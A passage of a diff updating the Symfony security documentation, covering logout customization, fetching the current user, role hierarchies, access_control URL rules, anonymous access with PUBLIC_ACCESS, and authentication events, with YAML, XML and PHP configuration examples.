+                ->methods(['GET'])
+            ;
+        };
+
+That's it! By sending a user to the ``app_logout`` route (i.e. to ``/logout``)
+Symfony will un-authenticate the current user and redirect them.
+
+Customizing Logout
+~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.1
+
+    The ``LogoutEvent`` was introduced in Symfony 5.1. Prior to this
+    version, you had to use a
+    :ref:`logout success handler <reference-security-logout-success-handler>`
+    to customize the logout.
+
+In some cases you need to run extra logic upon logout (e.g. invalidate
+some tokens) or want to customize what happens after a logout. During
+logout, a :class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent`
+is dispatched. Register an :doc:`event listener or subscriber </event_dispatcher>`
+to run custom logic. The following information is available in the
+event class:
+
+``getToken()``
+    Returns the security token of the session that is about to be logged
+    out.
+``getRequest()``
+    Returns the current request.
+``getResponse()``
+    Returns a response, if it is already set by a custom listener. Use
+    ``setResponse()`` to configure a custom logout response.
+
+.. _retrieving-the-user-object:
+
+Fetching the User Object
+------------------------
+
+After authentication, the ``User`` object of the current user can be
+accessed via the ``getUser()`` shortcut in the
+:ref:`base controller <the-base-controller-class-services>`::
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+
+    class ProfileController extends AbstractController
+    {
+        public function index(): Response
+        {
+            // usually you'll want to make sure the user is authenticated first,
+            // see "Authorization" below
+            $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY');
+
+            // returns your User object, or null if the user is not authenticated
+            // use inline documentation to tell your editor your exact User class
+            /** @var \App\Entity\User $user */
+            $user = $this->getUser();
+
+            // Call whatever methods you've added to your User class
+            // For example, if you added a getFirstName() method, you can use that.
+            return new Response('Well hi there '.$user->getFirstName());
+        }
+    }
+
+Fetching the User from a Service
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you need to get the logged in user from a service, use the
+:class:`Symfony\\Component\\Security\\Core\\Security` service::
+
+    // src/Service/ExampleService.php
+    // ...
+
+    use Symfony\Component\Security\Core\Security;
+
+    class ExampleService
+    {
+        private $security;
+
+        public function __construct(Security $security)
+        {
+            // Avoid calling getUser() in the constructor: auth may not
+            // be complete yet. Instead, store the entire Security object.
+            $this->security = $security;
+        }
+
+        public function someMethod()
+        {
+            // returns User object or null if not authenticated
+            $user = $this->security->getUser();
+
+            // ...
+        }
+    }
+
+Fetch the User in a Template
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In a Twig Template the user object is available via the ``app.user`` variable
+thanks to the :ref:`Twig global app variable <twig-app-variable>`:
+
+.. code-block:: html+twig
+
+    {% if is_granted('IS_AUTHENTICATED_FULLY') %}
+        <p>Email: {{ app.user.email }}</p>
+    {% endif %}
+
+.. _denying-access-roles-and-other-authorization:
+.. _security-access-control:
+
+Access Control (Authorization)
+------------------------------
+
+Users can now log in to your app using your login form. Great! Now, you need to learn
+how to deny access and work with the User object. This is called **authorization**,
+and its job is to decide if a user can access some resource (a URL, a model object,
+a method call, ...).
+
+The process of authorization has two different sides:
+
+#. The user receives a specific role when logging in (e.g. ``ROLE_ADMIN``).
+#. You add code so that a resource (e.g. URL, controller) requires a specific
+   "attribute" (e.g. a role like ``ROLE_ADMIN``) in order to be accessed.
+
+Roles
+~~~~~
+
+When a user logs in, Symfony calls the ``getRoles()`` method on your ``User``
+object to determine which roles this user has. In the ``User`` class that
+was generated earlier, the roles are an array that's stored in the
+database and every user is *always* given at least one role: ``ROLE_USER``::
+
+    // src/Entity/User.php
+
+    // ...
+    class User
+    {
+        /**
+         * @ORM\Column(type="json")
+         */
+        private $roles = [];
+
+        // ...
+        public function getRoles(): array
+        {
+            $roles = $this->roles;
+            // guarantee every user at least has ROLE_USER
+            $roles[] = 'ROLE_USER';
+
+            return array_unique($roles);
+        }
+    }
+
+This is a nice default, but you can do *whatever* you want to determine which roles
+a user should have. Here are a few guidelines:
+
+* Every role **must start with** ``ROLE_`` (otherwise, things won't work as expected)
+
+* Other than the above rule, a role is just a string and you can invent what you
+  need (e.g. ``ROLE_PRODUCT_ADMIN``).
+
+You'll use these roles next to grant access to specific sections of your site.
+
+.. _security-role-hierarchy:
+
+Hierarchical Roles
+..................
+
+Instead of giving many roles to each user, you can define role inheritance
+rules by creating a role hierarchy:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            role_hierarchy:
+                ROLE_ADMIN:       ROLE_USER
+                ROLE_SUPER_ADMIN: [ROLE_ADMIN, ROLE_ALLOWED_TO_SWITCH]
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <role id="ROLE_ADMIN">ROLE_USER</role>
+                <role id="ROLE_SUPER_ADMIN">ROLE_ADMIN, ROLE_ALLOWED_TO_SWITCH</role>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+
+            $security->roleHierarchy('ROLE_ADMIN', ['ROLE_USER']);
+            $security->roleHierarchy('ROLE_SUPER_ADMIN', ['ROLE_ADMIN', 'ROLE_ALLOWED_TO_SWITCH']);
+        };
+
+Users with the ``ROLE_ADMIN`` role will also have the ``ROLE_USER`` role.
+Users with ``ROLE_SUPER_ADMIN``, will automatically have ``ROLE_ADMIN``,
+``ROLE_ALLOWED_TO_SWITCH`` and ``ROLE_USER`` (inherited from
+``ROLE_ADMIN``).
+
+.. caution::
+
+    For role hierarchy to work, do not use ``$user->getRoles()`` manually.
+    For example, in a controller extending from the :ref:`base controller <the-base-controller-class-services>`::
+
+        // BAD - $user->getRoles() will not know about the role hierarchy
+        $hasAccess = in_array('ROLE_ADMIN', $user->getRoles());
+
+        // GOOD - use of the normal security methods
+        $hasAccess = $this->isGranted('ROLE_ADMIN');
+        $this->denyAccessUnlessGranted('ROLE_ADMIN');
+
+.. note::
+
+    The ``role_hierarchy`` values are static - you can't, for example, store the
+    role hierarchy in a database. If you need that, create a custom
+    :doc:`security voter </security/voters>` that looks for the user roles
+    in the database.
+
+.. _security-role-authorization:
+
+Add Code to Deny Access
+~~~~~~~~~~~~~~~~~~~~~~~
+
+There are **two** ways to deny access to something:
+
+#. :ref:`access_control in security.yaml <security-authorization-access-control>`
+   allows you to protect URL patterns (e.g. ``/admin/*``). Simpler, but less flexible;
+
+#. :ref:`in your controller (or other code) <security-securing-controller>`.
+
+.. _security-authorization-access-control:
+
+Securing URL patterns (access_control)
+......................................
+
+The most basic way to secure part of your app is to secure an entire URL pattern
+in ``security.yaml``. For example, to require ``ROLE_ADMIN`` for all URLs that
+start with ``/admin``, you can:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                # ...
+                main:
+                    # ...
+
+            access_control:
+                # require ROLE_ADMIN for /admin*
+                - { path: '^/admin', roles: ROLE_ADMIN }
+
+                # or require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin*
+                - { path: '^/admin', roles: [IS_AUTHENTICATED_FULLY, ROLE_ADMIN] }
+
+                # the 'path' value can be any valid regular expression
+                # (this one will match URLs like /api/post/7298 and /api/comment/528491)
                 - { path: ^/api/(post|comment)/\d+$, roles: ROLE_USER }
 
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -558,27 +2073,32 @@ start with ``/admin``, you can:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->enableAuthenticatorManager(true);
+
             // ...
+            $security->firewall('main')
+            // ...
+            ;
 
-            'firewalls' => [
-                // ...
-                'main' => [
-                    // ...
-                ],
-            ],
-            'access_control' => [
-                // require ROLE_ADMIN for /admin*
-                ['path' => '^/admin', 'roles' => 'ROLE_ADMIN'],
-
-                // require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin*
-                ['path' => '^/admin', 'roles' => ['ROLE_ADMIN', 'IS_AUTHENTICATED_FULLY']],
-
-                // the 'path' value can be any valid regular expression
-                // (this one will match URLs like /api/post/7298 and /api/comment/528491)
-                ['path' => '^/api/(post|comment)/\d+$', 'roles' => 'ROLE_USER'],
-            ],
-        ]);
+            // require ROLE_ADMIN for /admin*
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_ADMIN']);
+
+            // require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin*
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_ADMIN', 'IS_AUTHENTICATED_FULLY']);
+
+            // the 'path' value can be any valid regular expression
+            // (this one will match URLs like /api/post/7298 and /api/comment/528491)
+            $security->accessControl()
+                ->path('^/api/(post|comment)/\d+$')
+                ->roles(['ROLE_USER']);
+        };
 
 You can define as many URL patterns as you need - each is a regular expression.
 **BUT**, only **one** will be matched per request: Symfony starts at the top of
@@ -602,7 +2122,7 @@ the list and stops when it finds the first match:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -622,14 +2142,19 @@ the list and stops when it finds the first match:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'access_control' => [
-                ['path' => '^/admin/users', 'roles' => 'ROLE_SUPER_ADMIN'],
-                ['path' => '^/admin', 'roles' => 'ROLE_ADMIN'],
-            ],
-        ]);
+            $security->accessControl()
+                ->path('^/admin/users')
+                ->roles(['ROLE_SUPER_ADMIN']);
+
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_ADMIN']);
+        };
 
 Prepending the path with ``^`` means that only URLs *beginning* with the
 pattern are matched. For example, a path of ``/admin`` (without the ``^``)
@@ -649,7 +2174,7 @@ You can deny access from inside a controller::
     // src/Controller/AdminController.php
     // ...
 
-    public function adminDashboard()
+    public function adminDashboard(): Response
     {
         $this->denyAccessUnlessGranted('ROLE_ADMIN');
 
@@ -671,187 +2196,109 @@ will happen:
 
 .. _security-securing-controller-annotations:
 
-Thanks to the SensioFrameworkExtraBundle, you can also secure your controller
-using annotations:
-
-.. code-block:: diff
-
-    // src/Controller/AdminController.php
-    // ...
-
-    + use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
-
-    + /**
-    +  * Require ROLE_ADMIN for *every* controller method in this class.
-    +  *
-    +  * @IsGranted("ROLE_ADMIN")
-    +  */
-    class AdminController extends AbstractController
-    {
-    +     /**
-    +      * Require ROLE_ADMIN for only this controller method.
-    +      *
-    +      * @IsGranted("ROLE_ADMIN")
-    +      */
-        public function adminDashboard()
-        {
-            // ...
-        }
-    }
-
-For more information, see the `FrameworkExtraBundle documentation`_.
-
-.. _security-template:
-
-Access Control in Templates
-...........................
-
-If you want to check if the current user has a certain role, you can use
-the built-in ``is_granted()`` helper function in any Twig template:
-
-.. code-block:: html+twig
-
-    {% if is_granted('ROLE_ADMIN') %}
-        <a href="...">Delete</a>
-    {% endif %}
-
-Securing other Services
-.......................
-
-See :doc:`/security/securing_services`.
-
-Setting Individual User Permissions
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Most applications require more specific access rules. For instance, a user
-should be able to only edit their *own* comments on a blog. Voters allow you
-to write *whatever* business logic you need to determine access. Using
-these voters is similar to the role-based access checks implemented in the
-previous chapters. Read :doc:`/security/voters` to learn how to implement
-your own voter.
-
-Checking to see if a User is Logged In (IS_AUTHENTICATED_FULLY)
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-If you *only* want to check if a user is logged in (you don't care about roles),
-you have two options. First, if you've given *every* user ``ROLE_USER``, you can
-check for that role. Otherwise, you can use a special "attribute" in place of a
-role::
-
-    // ...
-
-    public function adminDashboard()
-    {
-        $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY');
-
-        // ...
-    }
-
-You can use ``IS_AUTHENTICATED_FULLY`` anywhere roles are used: like
-``access_control`` or in Twig.
-
-``IS_AUTHENTICATED_FULLY`` isn't a role, but it kind of acts like one, and every
-user that has logged in will have this. Actually, there are some special attributes
-like this:
-
-* ``IS_AUTHENTICATED_REMEMBERED``: *All* logged in users have this, even
-  if they are logged in because of a "remember me cookie". Even if you don't
-  use the :doc:`remember me functionality </security/remember_me>`,
-  you can use this to check if the user is logged in.
+Thanks to the SensioFrameworkExtraBundle, you can also secure your controller
+using annotations:
 
-* ``IS_AUTHENTICATED_FULLY``: This is similar to ``IS_AUTHENTICATED_REMEMBERED``,
-  but stronger. Users who are logged in only because of a "remember me cookie"
-  will have ``IS_AUTHENTICATED_REMEMBERED`` but will not have ``IS_AUTHENTICATED_FULLY``.
+.. code-block:: diff
 
-* ``IS_AUTHENTICATED_ANONYMOUSLY``: *All* users (even anonymous ones) have
-  this - this is useful when *whitelisting* URLs to guarantee access - some
-  details are in :doc:`/security/access_control`.
+      // src/Controller/AdminController.php
+      // ...
 
-* ``IS_ANONYMOUS``: *Only* anonymous users are matched by this attribute.
+    + use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
 
-* ``IS_REMEMBERED``: *Only* users authenticated using the
-  :doc:`remember me functionality </security/remember_me>`, (i.e. a
-  remember-me cookie).
+    + /**
+    +  * Require ROLE_ADMIN for *every* controller method in this class.
+    +  *
+    +  * @IsGranted("ROLE_ADMIN")
+    +  */
+      class AdminController extends AbstractController
+      {
+    +     /**
+    +      * Require ROLE_ADMIN for only this controller method.
+    +      *
+    +      * @IsGranted("ROLE_ADMIN")
+    +      */
+          public function adminDashboard(): Response
+          {
+              // ...
+          }
+      }
 
-* ``IS_IMPERSONATOR``: When the current user is
-  :doc:`impersonating </security/impersonating_user>` another user in this
-  session, this attribute will match.
+For more information, see the `FrameworkExtraBundle documentation`_.
 
-.. versionadded:: 5.1
+.. _security-template:
 
-    The ``IS_ANONYMOUS``, ``IS_REMEMBERED`` and ``IS_IMPERSONATOR``
-    attributes were introduced in Symfony 5.1.
+Access Control in Templates
+...........................
 
-.. _retrieving-the-user-object:
+If you want to check if the current user has a certain role, you can use
+the built-in ``is_granted()`` helper function in any Twig template:
 
-5a) Fetching the User Object
-----------------------------
+.. code-block:: html+twig
 
-After authentication, the ``User`` object of the current user can be accessed
-via the ``getUser()`` shortcut::
+    {% if is_granted('ROLE_ADMIN') %}
+        <a href="...">Delete</a>
+    {% endif %}
 
-    public function index()
-    {
-        // usually you'll want to make sure the user is authenticated first
-        $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY');
+.. _security-isgranted:
 
-        // returns your User object, or null if the user is not authenticated
-        // use inline documentation to tell your editor your exact User class
-        /** @var \App\Entity\User $user */
-        $user = $this->getUser();
+Securing other Services
+.......................
 
-        // Call whatever methods you've added to your User class
-        // For example, if you added a getFirstName() method, you can use that.
-        return new Response('Well hi there '.$user->getFirstName());
-    }
+You can check access *anywhere* in your code by injecting the ``Security``
+service. For example, suppose you have a ``SalesReportManager`` service and you
+want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` role:
 
-5b) Fetching the User from a Service
-------------------------------------
+.. code-block:: diff
 
-If you need to get the logged in user from a service, use the
-:class:`Symfony\\Component\\Security\\Core\\Security` service::
+      // src/SalesReport/SalesReportManager.php
 
-    // src/Service/ExampleService.php
-    // ...
+      // ...
+      use Symfony\Component\Security\Core\Exception\AccessDeniedException;
+    + use Symfony\Component\Security\Core\Security;
 
-    use Symfony\Component\Security\Core\Security;
+      class SalesReportManager
+      {
+    +     private $security;
 
-    class ExampleService
-    {
-        private $security;
+    +     public function __construct(Security $security)
+    +     {
+    +         $this->security = $security;
+    +     }
 
-        public function __construct(Security $security)
-        {
-            // Avoid calling getUser() in the constructor: auth may not
-            // be complete yet. Instead, store the entire Security object.
-            $this->security = $security;
-        }
+          public function generateReport()
+          {
+              $salesData = [];
 
-        public function someMethod()
-        {
-            // returns User object or null if not authenticated
-            $user = $this->security->getUser();
-        }
-    }
+    +         if ($this->security->isGranted('ROLE_SALES_ADMIN')) {
+    +             $salesData['top_secret_numbers'] = rand();
+    +         }
 
-Fetch the User in a Template
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+              // ...
+          }
 
-In a Twig Template the user object is available via the ``app.user`` variable
-thanks to the :ref:`Twig global app variable <twig-app-variable>`:
+          // ...
+      }
 
-.. code-block:: html+twig
+If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
+Symfony will automatically pass the ``security.helper`` to your service
+thanks to autowiring and the ``Security`` type-hint.
 
-    {% if is_granted('IS_AUTHENTICATED_FULLY') %}
-        <p>Email: {{ app.user.email }}</p>
-    {% endif %}
+You can also use a lower-level
+:class:`Symfony\\Component\\Security\\Core\\Authorization\\AuthorizationCheckerInterface`
+service. It does the same thing as ``Security``, but allows you to type-hint a
+more-specific interface.
 
-.. _security-logging-out:
+Allowing Unsecured Access (i.e. Anonymous Users)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Logging Out
------------
+When a visitor isn't yet logged in to your website, they are treated as
+"unauthenticated" and don't have any roles. This will block them from
+visiting your pages if you defined an ``access_control`` rule.
 
-To enable logging out, activate the  ``logout`` config parameter under your firewall:
+In the ``access_control`` configuration, you can use the ``PUBLIC_ACCESS``
+security attribute to exclude some routes for unauthenticated access (e.g.
+the login page):
 
 .. configuration-block::
 
@@ -859,16 +2306,15 @@ To enable logging out, activate the  ``logout`` config parameter under your fire
 
         # config/packages/security.yaml
         security:
-            # ...
+            enable_authenticator_manager: true
 
-            firewalls:
-                main:
-                    # ...
-                    logout:
-                        path:   app_logout
+            # ...
+            access_control:
+                # allow unauthenticated users to access the login form
+                - { path: ^/admin/login, roles: PUBLIC_ACCESS }
 
-                        # where to redirect after logout
-                        # target: app_any_route
+                # but require authentication for all other admin routes
+                - { path: ^/admin, roles: ROLE_ADMIN }
 
     .. code-block:: xml
 
@@ -882,121 +2328,181 @@ To enable logging out, activate the  ``logout`` config parameter under your fire
                 http://symfony.com/schema/dic/security
                 https://symfony.com/schema/dic/security/security-1.0.xsd">
 
-            <config>
+            <config enable-authenticator-manager="true">
                 <!-- ... -->
 
-                <firewall name="secured_area">
-                    <!-- ... -->
-                    <logout path="app_logout"/>
-                </firewall>
+                <access-control>
+                    <!-- allow unauthenticated users to access the login form -->
+                    <rule path="^/admin/login" role="PUBLIC_ACCESS"/>
+
+                    <!-- but require authentication for all other admin routes -->
+                    <rule path="^/admin" role="ROLE_ADMIN"/>
+                </access-control>
             </config>
         </srv:container>
 
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
+        use Symfony\Component\Security\Core\Authorization\Voter\AuthenticatedVoter;
+        use Symfony\Config\SecurityConfig;
 
-            'firewalls' => [
-                'secured_area' => [
-                    // ...
-                    'logout' => ['path' => 'app_logout'],
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            $security->enableAuthenticatorManager(true);
+            // ....
 
-Next, you'll need to create a route for this URL (but not a controller):
+            // allow unauthenticated users to access the login form
+            $security->accessControl()
+                ->path('^/admin/login')
+                ->roles([AuthenticatedVoter::PUBLIC_ACCESS])
+            ;
 
-.. configuration-block::
+            // but require authentication for all other admin routes
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_ADMIN'])
+            ;
+        };
 
-    .. code-block:: php-annotations
+Granting Anonymous Users Access in a Custom Voter
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-        // src/Controller/SecurityController.php
-        namespace App\Controller;
+If you're using a :doc:`custom voter </security/voters>`, you can allow
+anonymous users access by checking if there is no user set on the token::
 
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Routing\Annotation\Route;
+    // src/Security/PostVoter.php
+    namespace App\Security;
 
-        class SecurityController extends AbstractController
+    // ...
+    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+    use Symfony\Component\Security\Core\Authentication\User\UserInterface;
+    use Symfony\Component\Security\Core\Authorization\Voter\Voter;
+
+    class PostVoter extends Voter
+    {
+        // ...
+
+        protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token): bool
         {
-            /**
-             * @Route("/logout", name="app_logout", methods={"GET"})
-             */
-            public function logout()
-            {
-                // controller can be blank: it will never be executed!
-                throw new \Exception('Don\'t forget to activate logout in security.yaml');
+            // ...
+
+            if (!$token->getUser() instanceof UserInterface) {
+                // the user is not authenticated, e.g. only allow them to
+                // see public posts
+                return $subject->isPublic();
             }
         }
+    }
 
-    .. code-block:: yaml
+Setting Individual User Permissions
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-        # config/routes.yaml
-        app_logout:
-            path: /logout
-            methods: GET
+Most applications require more specific access rules. For instance, a user
+should be able to only edit their *own* comments on a blog. Voters allow you
+to write *whatever* business logic you need to determine access. Using
+these voters is similar to the role-based access checks implemented in the
+previous chapters. Read :doc:`/security/voters` to learn how to implement
+your own voter.
 
-    .. code-block:: xml
+Checking to see if a User is Logged In (IS_AUTHENTICATED_FULLY)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-        <!-- config/routes.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <routes xmlns="http://symfony.com/schema/routing"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/routing
-                https://symfony.com/schema/routing/routing-1.0.xsd">
+If you *only* want to check if a user is logged in (you don't care about roles),
+you have two options. First, if you've given *every* user ``ROLE_USER``, you can
+check for that role. Otherwise, you can use a special "attribute" in place of a
+role::
 
-            <route id="app_logout" path="/logout" methods="GET"/>
-        </routes>
+    // ...
 
-    ..  code-block:: php
+    public function adminDashboard(): Response
+    {
+        $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY');
 
-        // config/routes.php
-        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+        // ...
+    }
 
-        return function (RoutingConfigurator $routes) {
-            $routes->add('app_logout', '/logout')
-                ->methods(['GET'])
-            ;
-        };
+You can use ``IS_AUTHENTICATED_FULLY`` anywhere roles are used: like
+``access_control`` or in Twig.
 
-And that's it! By sending a user to the ``app_logout`` route (i.e. to ``/logout``)
-Symfony will un-authenticate the current user and redirect them.
+``IS_AUTHENTICATED_FULLY`` isn't a role, but it kind of acts like one, and every
+user that has logged in will have this. Actually, there are some special attributes
+like this:
 
-Customizing Logout
-~~~~~~~~~~~~~~~~~~
+* ``IS_AUTHENTICATED_REMEMBERED``: *All* logged in users have this, even
+  if they are logged in because of a "remember me cookie". Even if you don't
+  use the :doc:`remember me functionality </security/remember_me>`,
+  you can use this to check if the user is logged in.
+
+* ``IS_AUTHENTICATED_FULLY``: This is similar to ``IS_AUTHENTICATED_REMEMBERED``,
+  but stronger. Users who are logged in only because of a "remember me cookie"
+  will have ``IS_AUTHENTICATED_REMEMBERED`` but will not have ``IS_AUTHENTICATED_FULLY``.
+
+* ``IS_REMEMBERED``: *Only* users authenticated using the
+  :doc:`remember me functionality </security/remember_me>`, (i.e. a
+  remember-me cookie).
+
+* ``IS_IMPERSONATOR``: When the current user is
+  :doc:`impersonating </security/impersonating_user>` another user in this
+  session, this attribute will match.
 
 .. versionadded:: 5.1
 
-    The ``LogoutEvent`` was introduced in Symfony 5.1. Prior to this
-    version, you had to use a
-    :ref:`logout success handler <reference-security-logout-success-handler>`
-    to customize the logout.
+    The ``IS_REMEMBERED`` and ``IS_IMPERSONATOR`` attributes were
+    introduced in Symfony 5.1.
 
-In some cases you need to execute extra logic upon logout (e.g. invalidate
-some tokens) or want to customize what happens after a logout. During
-logout, a :class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent`
-is dispatched. Register an :doc:`event listener or subscriber </event_dispatcher>`
-to execute custom logic. The following information is available in the
-event class:
+.. deprecated:: 5.3
 
-``getToken()``
-    Returns the security token of the session that is about to be logged
-    out.
-``getRequest()``
-    Returns the current request.
-``getResponse()``
-    Returns a response, if it is already set by a custom listener. Use
-    ``setResponse()`` to configure a custom logout response.
+   The ``IS_ANONYMOUS`` and ``IS_AUTHENTICATED_ANONYMOUSLY`` attributes are
+   deprecated since Symfony 5.3.
+
+.. _user_session_refresh:
+
+Understanding how Users are Refreshed from the Session
+------------------------------------------------------
+
+At the end of every request (unless your firewall is ``stateless``), your
+``User`` object is serialized to the session. At the beginning of the next
+request, it's deserialized and then passed to your user provider to "refresh" it
+(e.g. Doctrine queries for a fresh user).
+
+Then, the two User objects (the original from the session and the refreshed User
+object) are "compared" to see if they are "equal". By default, the core
+``AbstractToken`` class compares the return values of the ``getPassword()``,
+``getSalt()`` and ``getUserIdentifier()`` methods. If any of these are different,
+your user will be logged out. This is a security measure to make sure that malicious
+users can be de-authenticated if core user data changes.
+
+However, in some cases, this process can cause unexpected authentication problems.
+If you're having problems authenticating, it could be that you *are* authenticating
+successfully, but you immediately lose authentication after the first redirect.
+
+In that case, review the serialization logic (e.g. ``SerializableInterface``) on
+you user class (if you have any) to make sure that all the fields necessary are
+serialized.
+
+Comparing Users Manually with EquatableInterface
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Or, if you need more control over the "compare users" process, make your User class
+implement :class:`Symfony\\Component\\Security\\Core\\User\\EquatableInterface`.
+Then, your ``isEqualTo()`` method will be called when comparing users instead
+of the core logic.
+
+Security Events
+---------------
 
+During the authentication process, multiple events are dispatched that allow you
+to hook into the process or customize the response sent back to the user. You
+can do this by creating an :doc:`event listener or subscriber </event_dispatcher>`
+for these events.
 
 .. tip::
 
     Every Security firewall has its own event dispatcher
-    (``security.event_dispatcher.FIREWALLNAME``). The logout event is
-    dispatched on both the global and firewall dispatcher. You can register
+    (``security.event_dispatcher.FIREWALLNAME``). Events are dispatched on
+    both the global and the firewall-specific dispatcher. You can register
     on the firewall dispatcher if you want your listener to only be
-    executed for a specific firewall. For instance, if you have an ``api``
+    called for a specific firewall. For instance, if you have an ``api``
     and ``main`` firewall, use this configuration to register only on the
     logout event in the ``main`` firewall:
 
@@ -1051,91 +2557,61 @@ event class:
                     ]);
             };
 
-.. _security-role-hierarchy:
-
-Hierarchical Roles
-------------------
-
-Instead of giving many roles to each user, you can define role inheritance
-rules by creating a role hierarchy:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            role_hierarchy:
-                ROLE_ADMIN:       ROLE_USER
-                ROLE_SUPER_ADMIN: [ROLE_ADMIN, ROLE_ALLOWED_TO_SWITCH]
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
+Authentication Events
+~~~~~~~~~~~~~~~~~~~~~
 
-            <config>
-                <!-- ... -->
+.. raw:: html
 
-                <role id="ROLE_ADMIN">ROLE_USER</role>
-                <role id="ROLE_SUPER_ADMIN">ROLE_ADMIN, ROLE_ALLOWED_TO_SWITCH</role>
-            </config>
-        </srv:container>
+    <object data="../_images/security/security_events.svg" type="image/svg+xml"></object>
 
-    .. code-block:: php
+:class:`Symfony\\Component\\Security\\Http\\Event\\CheckPassportEvent`
+    Dispatched after the authenticator created the :ref:`security passport <security-passport>`.
+    Listeners of this event do the actual authentication checks (like
+    checking the passport, validating the CSRF token, etc.)
 
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
+:class:`Symfony\\Component\\Security\\Http\\Event\\AuthenticationTokenCreatedEvent`
+    Dispatched after the passport was validated and the authenticator
+    created the security token (and user). This can be used in advanced use-cases
+    where you need to modify the created token (e.g. for multi factor
+    authentication).
 
-            'role_hierarchy' => [
-                'ROLE_ADMIN'       => 'ROLE_USER',
-                'ROLE_SUPER_ADMIN' => [
-                    'ROLE_ADMIN',
-                    'ROLE_ALLOWED_TO_SWITCH',
-                ],
-            ],
-        ]);
+:class:`Symfony\\Component\\Security\\Http\\Event\\AuthenticationSuccessEvent`
+    Dispatched when authentication is nearing success. This is the last
+    event that can make an authentication fail by throwing an
+    ``AuthenticationException``.
 
-Users with the ``ROLE_ADMIN`` role will also have the
